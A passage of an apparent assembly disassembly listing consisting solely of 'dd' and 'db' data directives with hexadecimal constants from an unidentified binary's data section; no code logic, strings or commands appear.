		dd 6604EB80h, 0F492BF7Fh, 896A5C00h, 0D4C446BDh, 0D2780527h
		dd 34CAD6h, 0FF44AB6h, 0C000656Bh, 51D74B74h, 3F1657h
		dd 0DE6C595h, 32F6E7A3h, 9E626100h, 0F2F1FC2h, 1980C0FBh
		dd 9A7ADAE6h, 0B0F29100h, 0F3728FF0h, 1A7400A9h, 0A0EB1E3Ah
		dd 0C700BBBDh, 412D5729h, 12E8ACFDh, 3947AFEh, 4DA0F294h
		dd 0BDC6EFF8h, 983DDC01h, 0A2426C1Eh, 0CB2FD8h,	9FAAD246h
		dd 849BA945h, 0EC485403h, 98638530h, 4B660Eh, 6226FDD4h
		dd 8908E8Ah, 38CDDD00h,	0F3C82804h, 0C1D002C5h,	79ED7248h
		dd 1BBB6060h, 881C1100h, 2E6DF53h, 3022017Ah, 84D76BFh
		dd 5C36EC6Fh, 0ADBA607h, 527662Eh, 0E6F01BD7h, 1D1F222h
		dd 71F65707h, 0C280847Ch, 0AF1917C0h, 7600E974h, 1C352E4h
		dd 5A88D9h, 9AB1C272h, 0A11C89E8h, 0B5B45000h, 0C1D6BB21h
		dd 40A8A06Bh, 3448003Dh, 0EE2A5D79h, 6F00B7C5h,	0B6E203ACh
		dd 0CEEAA3h, 38D35ED9h,	33E0BDC2h, 89CE0760h, 1F9170F0h
		dd 6F2C37AFh, 8204247Ch, 0B8806D9Bh, 3AB294h, 83E8F52Dh
		dd 96EE104Dh, 3201C37Eh, 0F3D6D952h, 8030F2DDh,	0D1EF07C6h
		dd 0E0CA62CDh, 2B0E0ACFh, 8DC16617h, 0C1EFC21h,	109AE300h
		dd 6F47E200h, 1B56D090h, 0DE50C3A2h, 0EDF04C3Dh, 8586B33h
		dd 2AEB0108h, 687B7722h, 4FF092h, 188648F8h, 0C8075DF1h
		dd 2E92DA51h, 0FAC06D14h, 0B417F8h, 8DDB0D3Fh, 0FBAB653Bh
		dd 7A02F8B0h, 9AEB6B46h, 0F18660D2h, 0F4B7000Ah, 1A3ACDF0h
		dd 50E2D622h, 0E33F2401h, 0ADC0F7D9h
		db 70h,	0B3h, 7
		db 3
		dd 0FB44CAB1h, 98002810h, 99AC90A4h, 314559Bh, 879E6468h
		dd 6AABBD96h, 1F22D800h, 0DAC45A8Fh, 754C000Bh,	32AB29A3h
		dd 900F26Bh, 54B1AE33h,	2D38C6Ah, 5BE22771h, 944831DFh
		dd 0C900768Dh, 83E6EDEEh, 964D3C29h, 0ABEE30BCh, 273880A5h
		dd 3BD71C0Dh, 32A64B41h, 0A147B45Eh, 0E954F860h, 953500E6h
		dd 0EAE1C556h, 4B00A8D7h, 87AA2C45h, 0B70167h, 0A954A6CEh
		dd 0C8396880h, 0AD70A000h, 10E0E57Fh, 120B00ABh, 0D0AC8EE1h
		dd 8100B855h, 0A9879A25h, 28C5CBFh, 33D8384Eh, 0BCE0DEF1h
		dd 5E73CEAAh, 9314B00h,	508A6F72h, 306E5888h, 0E4C04600h
		dd 1D763389h, 8200C0B2h, 27DFCD38h, 148F3B4h, 0FFE2E33Dh
		dd 0D2FA5FE5h, 9675CF40h, 1E714900h, 0E19DC8ECh, 0E6F0003Ch
		dd 0CEAD5C63h, 25003F67h, 0AC33A729h, 0E070A34Fh, 5374E8h
		dd 997D6CF8h, 16374695h, 714B6300h, 0B091400Bh,	0DBB126E5h
		dd 0A7E900ADh, 0EB7793AEh, 358EFA00h, 15E1B756h, 0CF4D02E6h
		dd 873EA201h, 8966D0A0h, 70E70B0Eh, 0C5005E2Ch,	57F4CA99h
		dd 754F37h, 0EBD3B8C3h,	0C7592F50h, 9BACD100h, 23296941h
		dd 0FE1F1BBCh, 0F1B0626Ah, 0CF846C9h, 0D8EBA70Ch, 1DFB6049h
		dd 0CE649EC6h, 17433642h, 0B7C08023h, 0F9F61921h, 0FEE588C0h
		dd 0CE45B69h, 64C5C475h, 6D50EDA1h, 0DD0C0A24h,	80C1F41h
		dd 0D8793FF3h, 0ED0EF98Fh, 5897A83h, 56452800h,	8769AEFAh
		dd 0E9176024h, 0E3AB0C4Dh, 798D2500h, 0C4C6B774h, 31940064h
		dd 6B91C7E6h, 18A02287h, 463CB7Ah, 548551h, 0B6AC7CB0h
		dd 7A067F57h, 81388750h, 0A172600h, 6C1F4215h, 0C4993B23h
		dd 2AC3C500h, 0CC3DB04Ch, 0CF6A5500h, 63085D59h, 0F498D6h
		dd 2F24C16Eh, 4DF0DB3Fh, 873A7700h, 0E7410EAh, 1CAB13E7h
		dd 13BA0751h, 908BE262h, 0C7C14D60h, 4F3F5B00h,	0EBE484D8h
		dd 1C3100BEh, 14A4ED71h, 40003A6Dh, 0C919A102h,	9B1613h
		dd 0E61E7DCh, 0EAE927A4h, 32075A00h, 9AF2286Fh,	4D9FA20h
		dd 56F14E2Eh, 0F8A980FBh, 1D03D27Eh, 920D4A1Eh,	4581B833h
		dd 0A3710214h, 2C130699h, 0CADB40FDh, 0DF500003h, 0CB31D595h
		dd 4D9881C5h, 57CFF507h, 0F900EFC4h, 1C09E9Dh, 0BF4AACDDh
		dd 500BFE08h, 0C6F8DAB8h, 0DF4CEB00h, 2A299251h, 435F055Eh
		dd 0C0C7570Ah, 0ECE85B5Ch, 97511D00h, 0ED499F93h, 21E728BAh
		dd 9B0F06C4h, 505D0480h, 0D40EDB19h, 0DAF02729h, 327B05EBh
		dd 40031110h, 0D9AD54DCh, 430F242h, 0DD8D890Ch,	7DEE01h
		dd 7325824Fh, 5D14F8C7h, 3600A2F0h, 0B409E8CAh,	39ACC7Ah
		dd 30C474EBh, 81B0EE16h, 82E0BE35h, 45DEFE17h, 98551CFAh
		dd 0C3D328B9h, 25075900h, 0B4DD856Bh, 918C00D8h, 0A7204D45h
		dd 0EE01A9B2h, 949BCAD0h, 0E1DCB0E6h, 0A83600B7h, 5035F2D3h
		dd 4438CF3Bh, 424A9EDEh, 0DB00E11Fh, 1C0AE4Ch, 303430FBh
		dd 621C59Ch, 0D2B12400h, 48610EB9h, 931C04Eh, 0C9C68B91h
		dd 19FCA000h, 8CC8E5DAh, 0DC2A0EA8h, 0FD063670h, 487108Dh
		dd 60579F50h, 0D76210FEh, 0AE08FECh, 340B1900h,	0E03068FDh
		dd 9F8A069Ah, 28D717A2h, 44EA4822h, 3BF87F2Dh, 45272300h
		dd 0E44A5D25h, 6BF000C7h, 8D1AE05Eh, 0CA12ADF9h, 0EEE17C8h
		dd 8C20D58Ch, 0DB7238B3h, 0FA9F1600h, 2B24BFB0h, 54390051h
		dd 61C3F6EEh, 7600686Bh, 53DAD592h, 7B87CD3h, 445C3AD4h
		dd 0AABB00D1h, 70031379h, 2ABD9863h, 0F57B086h,	0D9EC014Bh
		dd 0DA95AA8Dh, 3E8CD043h, 0C7F31A00h, 176090D3h, 671D01B9h
		dd 76A969C6h, 8711BEFDh, 0A7233747h, 0C3F378D0h, 537C0077h
		dd 72C7BD8h, 0DF0EE18Ch, 80F49105h, 0E284A256h,	0AC8A50D3h
		dd 0DAB100BBh, 59E3EE09h, 0D40095B0h, 26DD3742h, 0D05D43h
		dd 3CD9A81Bh, 460C5A6Fh, 0E762B700h, 0C5975B8Ah, 6578001Dh
		dd 0D3F1498Eh, 8000AFC2h, 146C6083h, 12EC9258h,	0CD6536h
		dd 0F9F2B14Dh, 0E8000B1Dh, 0C01FE643h, 0A417BAh, 0E00580B3h
		dd 31DCF96Ah, 6B8EC20Fh, 5C76E302h, 0C954B071h,	38940044h
		dd 0BF0CF9Bh, 7F00CCD9h, 0EE32524Eh, 5F51E5h, 8E7788D1h
		dd 7242858Ch, 68C17A04h, 20812CB5h, 17029F4h, 4D89005Ch
		dd 6C6DBF6Eh, 0A200408Fh, 87A6B006h, 1E61157Ah,	9837E9Fh
		dd 0BB809671h, 6FBA34FEh, 0D169E50Fh, 7247C1B4h, 80EEDC32h
		dd 0AD8FC3F0h, 0CC970074h, 82B03DF3h, 300101Fh,	0C19348F6h
		dd 0C96CBCh, 0BD1AA3C3h, 6F16F906h, 806B3738h, 76C70CDCh
		dd 11E36h, 673166B3h, 0F85B13FAh, 79FBD600h, 0C5F257AEh
		dd 55F3064Eh, 29A5DF28h, 0FCEBBF00h, 88842BE9h,	408305AAh
		dd 168E5B4Ch, 0F0D107F0h, 53B690C7h, 0C1DC6DE1h, 0CC1AAE00h
		dd 0F7E8B26h, 0A1E8E769h, 6D1009Eh, 68B7C4E4h, 5E3DF903h
		dd 0F05071CFh, 31D60D55h, 0B47864A1h, 6840DAADh, 0EC006E80h
		dd 561BB24Bh, 522A05h, 771D40DAh, 0DB57C7F4h, 0AB5BAC00h
		dd 0AD8A6733h, 0FB9D0062h, 9ABA75C8h, 42B8E93Ch, 6C2CD01h
		dd 673225A8h, 15854ECh,	6CE343DEh, 0D03AD579h, 0D2002934h
		dd 84A9E408h, 0C08F8607h, 8C5E56E8h, 0E0983C1Fh, 1ECBB70Fh
		dd 0EFC0278Dh, 0ED5D97E0h, 94A00060h, 3625D605h, 0C80E2B93h
		dd 0A042B715h, 0ED3C516Ch, 96F21E64h, 891EDFC5h, 5000D47Bh
		dd 79710DDh, 0DFD7EB00h, 3D22793Ah, 0BBFD248Eh,	37C281DCh
		dd 0E899759Ah, 0DE0039B6h, 939D7047h, 26CEDAB0h, 9E641938h
		dd 222100F5h, 7C79AF8Fh, 3C3EDF00h, 4CB11455h, 94D401EDh
		dd 99B04EE5h, 0BDE820AAh, 31526B00h, 0B4D3EF36h, 30CF00B1h
		dd 0A61197F7h, 4CE47B0Bh, 23CE2809h, 60908FE2h,	6895308Ch
		dd 1177020Fh, 0A4FB7BF3h, 0C4F77040h, 0B089D701h, 71AB6239h
		dd 8E4C20h, 7BDC9732h, 8767AAFFh, 0D548A0E8h, 0C56D0ABCh
		dd 0DA00A059h, 0D4867F9Ah, 948B50FDh, 76BF00D2h, 2905CA95h
		dd 0D813A701h, 9400233Ah, 0F1C6BE0Ah, 3F7900C3h, 671E7B4Eh
		dd 0CF0BD24Fh, 80F411ACh, 0E7DB754Fh, 60D476C3h, 0E86BC12Fh
		dd 930098D3h, 1EFBB6CFh, 4C5C5714h, 0E20021BEh,	469D5ED9h
		dd 0A13CB863h, 0FEDE2EC6h, 0EB7C803Ch, 12958EDCh, 482B0078h
		dd 0F8ADFFB4h, 0F90090CBh, 9CE6748Fh, 0C1AC91h,	0BD50864Fh
		dd 0D0C5DD8Bh, 0C866591Eh, 56A98A00h, 14C3774h,	9D515D4h
		dd 0E855934Dh, 6F02BC27h, 0E5712DDCh, 7DE08047h, 43787EBh
		dd 0B08CAFF5h, 30B4C730h, 77102932h, 9DD66E09h,	81D880D4h
		dd 7BD8525h, 9A2C1AAh, 0C0298423h, 0C8EF3350h, 1E293F60h
		dd 58BE81h, 0E36903A2h,	31716D0Dh, 0B0603324h, 0F8F9D18Dh
		dd 3B957E70h, 0D580BAD9h, 0E996CE3Eh, 11009E8Dh, 84F31C2h
		dd 0CD1C032h, 368B5F7Ch, 3E001699h, 604D9445h, 7B762Ah
		dd 0AAF89334h, 63D5F307h, 5FE5C501h, 56E885C9h,	0A871A82h
		dd 886036FCh, 3800B02Dh, 0DAD080EDh, 77101E98h,	0FDBB005Bh
		dd 0DE7FD454h, 59733B1Fh, 6D3DC800h, 0D537502Dh, 8884496Fh
		dd 0D3864E1Fh, 0A60300B0h, 1A895AF0h, 0BDE310Fh, 8D5B809Eh
		dd 18DA3D1Eh, 0B8BFB4F2h, 0FBF6EB28h, 867AC00h,	86EC2E7Dh
		dd 168E424h, 0D03AA903h, 0EE5840BCh, 0FA8550E0h, 0AFF291Ch
		dd 768991h, 88242EC0h, 7689684h, 38ADC21Eh, 9A0A3222h
		dd 2B031820h, 1AC0A480h, 0BA4226E5h, 782A0044h,	0B283A3DDh
		dd 843A4C28h, 0C4001C2h, 87A2F8D9h, 6D25E0CBh, 0FD3900FEh
		dd 0E4099AA6h, 0F00522Eh
		dd 0C277CD5Ch, 2DC818h,	0BFADA0CBh, 8EFF2B84h, 0DEA93301h
		dd 6D27739Ah, 2203843h,	0EB2B9188h, 62104026h, 94A45D4Bh
		dd 9AA52100h, 1A4E9F70h, 0BD0084B8h, 10D01987h,	0A2F705h
		dd 0C78D3E2Fh, 293B4046h, 0D95FB107h, 0F2F2956Ah, 868D6077h
		dd 14C60079h, 0F9488C9Bh, 0E500768Bh, 0D351AF30h, 7A59888h
		dd 1DF8B18Eh, 42C920BBh, 0F63EA69Ah, 13BF002Fh,	24CD5810h
		dd 68B00077h, 29C15AEDh, 2E0389D6h, 0F9A355AEh,	955E8026h
		dd 6A621652h, 78310FD3h, 0C0BDF804h, 56152317h,	9D731B00h
		dd 2B19CD5Fh, 0DB7F2Ch,	796D3C31h, 0D71284EDh, 0D1812326h
		dd 107B6903h, 6C15B846h, 799F00B0h, 0A59A4F64h,	98AAFFE2h
		dd 0BA7B7760h, 0C90C5000h, 85995A3Fh, 0D72312ADh, 6DC80018h
		dd 0C5376748h, 4B73B201h, 2A7B426Fh, 716147CCh,	0A48C431h
		dd 1D1890FBh, 2103B32Bh, 577DEDEFh, 10A00043h, 74D319F9h
		dd 8C007B53h, 86427265h, 18568DF0h, 41FF0689h, 0B6005597h
		dd 0F6B40490h, 0CB7A85h, 46A2C7A9h, 4770F2ABh, 87069418h
		dd 4AD931h, 0CFE3E4A3h,	0D521781h, 3CC21B00h, 6A568C4Dh
		dd 0E64C03EEh, 0F92DC00Fh, 3B6749E0h, 0AC001D77h, 0B7E7A3Eh
		dd 0D1FD9Ch, 0E0E4637Fh, 48217C36h, 0F4623A78h,	4974E869h
		dd 0EFC8FA2Ch, 0BFC31FB1h, 0AA668088h, 79E2D8FFh, 9DC1BE00h
		dd 0B410EE0Ch, 3C420302h, 8E623A32h, 4DC04903h,	0F08F2D96h
		dd 4641676h, 0FEF8E425h, 601CB426h, 1ED56200h, 93C76B90h
		dd 2040E1ADh, 0A03923FEh, 128F3B14h, 0C39FE40Bh, 6FA8A640h
		dd 5BB0E802h, 19ACE530h, 39340E3h, 7B0EE783h, 6BF091A1h
		dd 219D801h, 0F851F49Fh, 0E950F4h, 254D209Eh, 0ACC6547Dh
		dd 0DB079401h, 517185BEh, 90CA63E2h, 938B27h, 0E37A039h
		dd 70CCE54Ch, 30481403h, 0AEF636h, 0CDF87229h, 2EEC2901h
		dd 63791A58h, 317A08h, 0CDC75120h, 22A186ADh, 5A014C71h
		dd 0B4EBD1E0h, 608069CBh, 1E9203A5h, 3F261AEFh,	10338608h
		dd 0FAA0E721h, 198E7D0Fh, 8550635h, 4C218078h, 0C371EF0Bh
		dd 0AF1600FFh, 37C9EE3h, 0A3180773h, 6E2977B5h,	8108C7D2h
		dd 0F28BF06Ah, 0C501B628h, 0ED6CE5B9h, 90B67F1Dh, 81609030h
		dd 5DE3D339h, 15E5F00Ah, 807705D0h, 0FC012223h,	8C297DCDh
		dd 6D887C18h, 67CD0FCBh, 8BA02953h, 71878328h, 458068C1h
		dd 0AC48D511h, 0F91A8C31h, 313606CDh, 52107DACh, 340FCDC0h
		dd 83D41F5Dh, 0B78493h,	0C6DAF459h, 675242E5h, 701D4D00h
		dd 0C399875Ch, 0EB690E02h, 7C2949h, 6A75D8FEh, 4100219Dh
		dd 0C8B157BFh, 604AFAh,	8686477h, 0E3A3CC34h, 52005CF8h
		dd 5F335705h, 1E01ECF2h, 0EE2D14h, 1F80394Ah, 3D008E91h
		dd 4678BD4Ch, 3E2694h, 2E07DAE6h, 0F160AD48h, 4EEC5B07h
		dd 1750C5C1h, 29586Ah, 0A359B031h, 0FE139419h, 0C4B0401h
		dd 1C33155Fh, 21980898h, 0FE760B72h, 0F86DFC00h, 0B1A9CE42h
		dd 0A154074Bh, 619BDA38h, 80C23165h, 25ADC431h,	4F41EE8h
		dd 9269C6CBh, 0A0F3C176h, 2CE7C01Fh, 53069D01h,	0A68EE0A7h
		dd 0B4B34081h, 0D318CB0Bh, 9E394826h, 80961100h, 669EBFBDh
		dd 21C70870h, 9A825B00h, 26D1DD43h, 161CA0EBh, 508400F7h
		dd 389ECECBh, 60C3A2E2h, 8586399h, 8EB0FF20h, 18B4684Eh
		dd 4FCC4119h, 84C85E6Fh, 41C6FC58h, 0FE1C0C20h,	43388CE8h
		dd 0EC08A30Ch, 1B9295Ah, 0A758D812h, 0D9B03517h, 5008987Fh
		dd 0F42E1A21h, 0EA7C5C62h, 38409C00h, 3ECDD31h,	2682AC00h
		dd 0F5588CFAh, 0AD9A18E8h, 84F1B048h, 70194127h, 0C2360162h
		dd 0E8D9E65Fh, 5020ECEDh, 7EDC8600h, 0AA08C024h, 1F5F00FBh
		dd 0C561A088h, 0AC00E9ABh, 0CC6CD855h, 0EA75EDECh, 587836h
		dd 0B0B4A476h, 0DF0C87Ah, 18F99503h, 81FBA728h,	46D86AF6h
		dd 0BBE600FDh, 3247E3FEh, 2D00B41Ah, 0F3A84D29h, 208A2Fh
		dd 0CD110E23h, 22FA43B2h, 0D4A15A00h, 300BAEC7h, 3B977B37h
		dd 0F9F2799h, 0FD080059h, 179E292Eh, 0DA394705h, 0DD8075E8h
		dd 9F6AF5h, 76C7920Bh, 749409CAh, 3333Fh, 55DC20B3h, 1E187D6Bh
		dd 0C0A32C24h, 9E72F569h, 0D7005F5Ah, 88038350h, 39451BBh
		dd 8A4C828Ch, 0C6AFEC71h, 0D61230A2h, 1B0024A1h, 6B0AB8B9h
		dd 99350096h, 0D2839C1Bh, 0B400228Eh, 89A090E1h, 613FE6h
		dd 0B30F3B7Ch, 0A3F5718Bh, 0B1BA1828h, 8A677F00h, 8FE639D8h
		dd 28276F1Ah, 70D90A27h, 0EC77A2F6h, 1B765606h,	18A403h
		dd 57E31FC9h, 59D87374h, 93D0C7Dh, 7017729h, 0AC5C439h
		dd 60604832h, 0AEF40C69h, 8403E62h, 6BF18300h, 708A073Ch
		dd 0D05C7338h, 931E84F2h, 89A03052h, 0BA3B307Bh, 9C7F00B9h
		dd 519835E7h, 0A037A1Ah, 0DF82D3AEh, 7A1F80A0h,	0C43355D4h
		dd 0D6A1C11Eh, 0F507642Eh, 28A0916Ch, 31ED38h, 9E471D4Ah
		dd 3D4FF422h, 5C19083Ch, 3F33C7Bh, 0D6BB3391h, 0F88CA3EFh
		dd 1A0939Bh, 0C1B1715Dh, 8CD93E49h, 20349708h, 0A1AA0030h
		dd 0DC520DBh, 0A500A805h, 9EDE0207h, 159A32h, 0F0B398C6h
		dd 75CFA494h, 4FF20601h, 3D8D7737h, 8BB67091h, 71B30292h
		dd 0E63891C9h, 0A92D2184h, 602D80A1h, 0D000AFF2h, 0BEB3E55Ch
		dd 673C67E6h, 815B98BBh, 834805A6h, 56D49D11h, 0B722F8AAh
		dd 32BD3161h, 87BEC508h, 561DE320h, 28B9C810h, 7B1100ABh
		dd 8BE2F63Bh, 1330D532h, 0BE5A604Dh, 2C045405h,	0A9563B21h
		dd 9E112AA3h, 5600FE3Eh, 9F69A2EEh, 5D143C07h, 88C496h
		dd 57A38793h, 3C43D5BEh, 1F9E3384h, 0C428A9h, 39387564h
		dd 0F6240E15h, 0CF273Bh, 876B181Fh, 1CA4DDh, 8E9D6553h
		dd 0AA3132DBh, 0CB26000h, 0BCE4D0ACh, 18150744h, 1637E6D6h
		dd 7D6009DEh, 151B9C21h, 3CDA008Ch, 0E71811F2h,	93203F8Eh
		dd 0B5C0FAAh, 2D003848h, 0A6080513h, 1E6EF507h,	0EA5054C5h
		dd 6020D5D8h, 5B4E3032h, 0EB306A16h, 0F404605Ch, 6C9C0067h
		dd 0B1D7C61Fh, 0D5E8C74Fh, 72205B60h, 3768BDh, 0B894FF8Ah
		dd 9ACFE70Fh, 29FBB718h, 4BBB6Ch, 736253A3h, 0B0DD6D1h
		dd 0EBD0903h, 2632CEACh, 40E449h, 3BD82212h, 99D9C98Bh
		dd 0FB183590h, 6CF16708h, 40C3C4D7h, 0AD684077h, 238E00AFh
		dd 113B4143h, 0DE0E6DD1h, 8F32A1A3h, 0C0F6E08Ch, 0EBE9DDh
		dd 0D9E75759h, 0A04EA609h, 0CF38A400h, 981362ACh, 0B94D0FB0h
		dd 0E1603DA1h, 1D91A7EEh, 0BD50A300h, 5F2AC042h, 48AB7EB7h
		dd 5A00C21Eh, 3F22A9B1h, 1008FFCh, 40D295F4h, 0C18D39h
		dd 78E0FFC7h, 0C8813518h, 0B5B87E00h, 6ED16B06h, 0BC1F008Fh
		dd 0D524AABBh, 9704F082h, 5771AB0Ah, 435FED97h,	99FF9EDAh
		dd 94C4B07Fh, 26760081h, 578F80BDh, 1B2CA63Fh, 0C11F4F86h
		dd 19B0651Dh, 60970EB7h, 91D468EFh, 670FAF20h, 735229h
		dd 14D04049h, 7DBA3C1Ch, 133BF900h, 0C762991h, 0FC6A6003h
		dd 0F8B8CB0Fh, 1955A9h,	5A757B7Fh, 140E4974h, 1CBEB70Ch
		dd 7260DAh, 2670D964h, 56D74452h, 209300Eh, 7BC09F18h
		dd 7DC0D825h, 437600D9h, 0BB8339DCh, 4070FFDh, 0F4B62E5Bh
		dd 0B49F0570h, 61C1CC9h, 41120EB3h, 81B5CAE5h, 0D17E6AB0h
		dd 69462068h, 1F9B8A0Eh, 2004A028h, 0C0DA1Eh, 7FB0257Eh
		dd 79D82405h, 9221F90Eh, 603FA08Fh, 3A521410h, 5E00220Eh
		dd 0A77CF673h, 5B01C0ECh, 4030FB4Fh, 0CB3034A4h, 0DCBB0022h
		dd 0D60C7CB3h
		dd 0D730AA1Eh, 5258C91Fh, 69DE0633h, 60514029h,	1D0E37EEh
		dd 0A05FB8F2h, 9485AAA0h, 0C325037Dh, 0AED00C56h, 4062800h
		dd 20AD287Ah, 0DBCE002Eh, 0F65B54CBh, 4A00F239h, 0C1B30401h
		dd 1FA20ABh, 69466A30h,	0C029F197h, 0E29064A0h,	1E857603h
		dd 0A0BA869Fh, 0F030EBh, 64656229h, 80776147h, 75E2B703h
		dd 0E0E3A798h, 0F19020AAh, 9650488Ch, 3041EF18h, 2E04B4F5h
		dd 0E82338h, 43A05CF8h,	5E001D6Dh, 4AEEDDDAh, 18F92AA2h
		dd 602E2428h, 7BEACB51h, 0C9C50201h, 0C0C2194Bh, 0C129FCD0h
		dd 2EB3E420h, 99E3207Dh, 0CC981400h, 0AD0C657Bh, 0A867619Bh
		dd 6037B91Fh, 0F70D4A1Eh, 18699F57h, 41DA5BD4h,	1D788175h
		dd 0ED0BEBBEh, 4C6933E0h, 0AD0067C1h, 0B23F0A91h, 0CCE5D9BAh
		dd 45391178h, 199B0321h, 0E8AA900Dh, 0EBC1C5h, 0A16CDCFAh
		dd 71E80EBAh, 1C0450B0h, 0B2DDC4E2h, 6F8134C1h,	483F6F0h
		dd 95E39412h, 6A28C09Dh, 8A0717F8h, 714B4692h, 56486E30h
		dd 9BF70109h, 4D2F07ECh, 0A960F879h, 0A7DA1000h, 6626278Dh
		dd 0FDE0E8h, 623DEB8Fh,	0C633371h, 0BCFBFF02h, 40B982D6h
		dd 0DE9369h, 80C613EBh,	32ABAE5Dh, 7A4BEF1Eh, 59007C3Ah
		dd 1BF04752h, 0EF56B3Ah, 202AB0ADh, 7100D9AFh, 6CE60F90h
		dd 5E4B0900h, 19AA80F3h, 6C60379h, 5C9BCDEEh, 0E00E60A6h
		dd 5DC868E1h, 0DD3D0D03h, 44083052h, 6CB89E21h,	0D286101Dh
		dd 0F85D8D83h, 689E621h, 11BD5F18h, 2600113Fh, 0F51B2D28h
		dd 0FC27F384h, 33F1744Dh, 7F505D92h, 66BF10FFh,	9E18BCFFh
		dd 0F7F0B7E9h, 4E1700F3h, 2DEA13Dh, 0C6040F93h,	0E91B835Ah
		dd 0A0D0CCC2h, 4B60248Ch, 9251C0D6h, 3BE10979h,	0CF179700h
		dd 65237A67h, 6C717C46h, 4D40A02Dh, 169C669h, 0C36277D3h
		dd 7E54D8h, 0DC31B7B3h,	8108479Fh, 77B65000h, 262A37C9h
		dd 0F22C005Dh, 0FD9C13D3h, 50260ABBh, 8D004DEAh, 1C0CD8F8h
		dd 5AF401EBh, 0D3932870h, 0ACCC856h, 5EA0DFA3h,	0DF00D8E5h
		dd 8740DD89h, 0E4468h, 0D45AA47Bh, 0DA5FC0D7h, 7A795900h
		dd 54CE386Dh, 0FCBB01EFh, 14C32D94h, 7C3BE82Fh,	41A900Fh
		dd 9AE80013h, 0F8275F31h, 0E93F01DEh, 9EA7FABBh, 25188169h
		dd 0EB849803h, 7C9002F0h, 3038CCEEh, 20181F21h,	0FC3864CCh
		dd 0D4ED311Ch, 0EC5BA368h, 7EF8EA29h, 3BDFD906h, 748F076h
		dd 9781809Bh, 69314043h, 77015911h, 0C441FC47h,	18F7A465h
		dd 20810E08h, 89A0F171h, 46DE96D9h, 30CA9800h, 71F89F88h
		dd 0C31EEBFh, 0FE8F9038h, 77000510h, 82CE32B2h,	46661h
		dd 347303DCh, 0E22CAEBDh, 1D94A20Eh, 0B4A9C09Ah, 282329h
		dd 0AFC81CE5h, 0C06B15C4h, 7F970700h, 25B3E99Ah, 8D30051h
		dd 0A38E2766h, 4C3D2192h, 5500F329h, 14C7B915h,	1450642h
		dd 973AA296h, 0D020F6AEh, 2200698Eh, 6175F309h,	47AA15h
		dd 0D35840A8h, 60D13B24h, 14C1301Fh, 1D6200BCh,	0E17855F0h
		dd 206B018Fh, 3E4FBE2h,	0B1A4E8C4h, 99276900h, 0C10ADEF5h
		dd 0B1D161A9h, 0D4CC2F87h, 620042D9h, 0A62A7B84h, 1CF1EF2h
		dd 0FB3A469Fh, 2021B3EAh, 7400C66Eh, 0CB906A1Dh, 0AE3527h
		dd 0C064F62Ah, 0CC0520B0h, 0A824BC00h, 19594E2Eh, 8D906Dh
		dd 18D217C5h, 69E30886h, 25005576h, 53A41D4Ch, 1891898Ah
		dd 0D1C3B4D1h, 0E8180498h, 0F011E93Dh, 7D5FA3Ah, 429646CFh
		dd 60AE3064h, 4100C657h, 0EBB12014h, 0BDF80827h, 4700AD58h
		dd 704F9E3Ah, 0BA93AFh,	7610C7F0h, 54068125h, 6FA25305h
		dd 61817AD3h, 0E1412FBBh, 31812A4Dh, 0EBC0F261h, 1D3D8B4h
		dd 33812400h, 85AF29FBh, 9B061F16h, 7338B078h, 10005430h
		dd 9445F908h, 0E84462FFh, 20B96037h, 6C54323Ch,	803AED3Fh
		dd 0F0E3F584h, 30A07B83h, 2F70AE01h, 7D987D15h,	107C9430h
		dd 7EE5334Fh, 2C642808h, 53A3AB3h, 0FA214E33h, 0F75313D0h
		dd 0AC270300h, 0C355C5AEh, 0AAD8C19Eh, 0B9C905EAh, 0E4150AF0h
		dd 8E805899h, 89080E55h, 3E808546h, 93366F60h, 3F7B0E6Ah
		dd 8C9519FCh, 21290307h, 0F5F230E7h, 7507818Bh,	0E880B32Ah
		dd 17873377h, 0CAAAA290h, 24022920h, 18547940h,	4F510FA4h
		dd 9CC023C4h, 0D36E48FAh, 41ED6101h, 94B4D730h,	0C05EBAF0h
		dd 0BFF0AEF0h, 0ED003412h, 5B798B3Dh, 58108236h, 0A008629h
		dd 0D7D87558h, 1801B853h, 485695BCh, 0DADC6DBBh, 124E887h
		dd 4710140Bh, 0FFF05459h, 16E991E8h, 0F5E7EC00h, 9C66E509h
		dd 0E0F031h, 4C0FD236h,	0F119E9B6h, 2A97A58h, 77FF6A96h
		dd 0E2A1407Fh, 4192006Dh, 58DE1280h, 45073E11h,	0B1053207h
		dd 0AA1A4B10h, 685C0317h, 987CCAB3h, 3F572801h,	6726E66Dh
		dd 37D79F8h, 0B5A6886Bh, 0B4F0E99Ch, 583EDAF6h,	40F00F7Ch
		dd 598081A9h, 0DB601657h, 2C71C086h, 74F4A2Eh, 3CC7A00h
		dd 1E9254BCh, 53FA3A25h, 0A1F65D03h, 380050CFh,	0B207643Ah
		dd 7CEFFC3Dh, 0BB6B0069h, 0E9D08615h, 660030BCh, 7A2D54D1h
		dd 0F27619h, 917E36E6h,	7C17E181h, 0CB4C0418h, 0EF1130h
		dd 0AF604702h, 50C38BDBh, 955C151Eh, 0A0A3C201h, 6CF84C58h
		dd 5BB50353h, 8B65D727h, 7F41B90Ah, 16028421h, 401F8149h
		dd 0EEEA77h, 0CBE02C40h, 356A89B5h, 0A2611603h,	98E8C422h
		dd 48818411h, 0EB3DD038h, 52B47A80h, 0D7A1D196h, 9B397F05h
		dd 9C055C07h, 0A8009558h, 2527F5CDh, 1B105C68h,	0A45ABC00h
		dd 78ED91E2h, 1D6D4E00h, 32B447A9h, 65FB00F0h, 0B5B755E4h
		dd 0E860284Dh, 0E5AAB310h, 0CCCE0A88h, 0EA4A3Eh, 0E73902C9h
		dd 0EA052B52h, 6C69D8DFh, 490D48C0h, 0F26F1DBFh, 0FB00B86Dh
		dd 16DD2233h, 6E078B5Fh, 0DC179509h, 982606h, 1CE2E0B9h
		dd 0A41536FEh, 24AD4200h, 6E618CBBh, 0FAD000F2h, 6CC797F8h
		dd 69335F99h, 0F8E438AAh, 0E480417h, 0B09CDB84h, 5D585440h
		dd 83018978h, 15B6C427h, 47DCD36Ch, 0A717014Ch,	0CE3E8BAAh
		dd 94040E8h, 0A9013643h, 77ED96E2h, 38F024E1h, 342FCA0h
		dd 79CE11BEh, 80BF69B4h, 9218F4C2h, 24E46A00h, 0D0CA0E2Bh
		dd 0E6EC3Bh, 0C9354C5Ch, 0D6FB896Eh, 0D62B900h,	2D678490h
		dd 7AAA0083h, 0F9BC025Ah, 4900B08Ch, 0AC5280C8h, 729FAEDh
		dd 0BF51F376h, 44F8B9E4h, 0CBD2EC00h, 70D61FDh,	4DDD01AFh
		dd 0B2ADEAF7h, 0ACD540BEh, 0D4006502h, 6CB8C7D3h, 1E576E9Ch
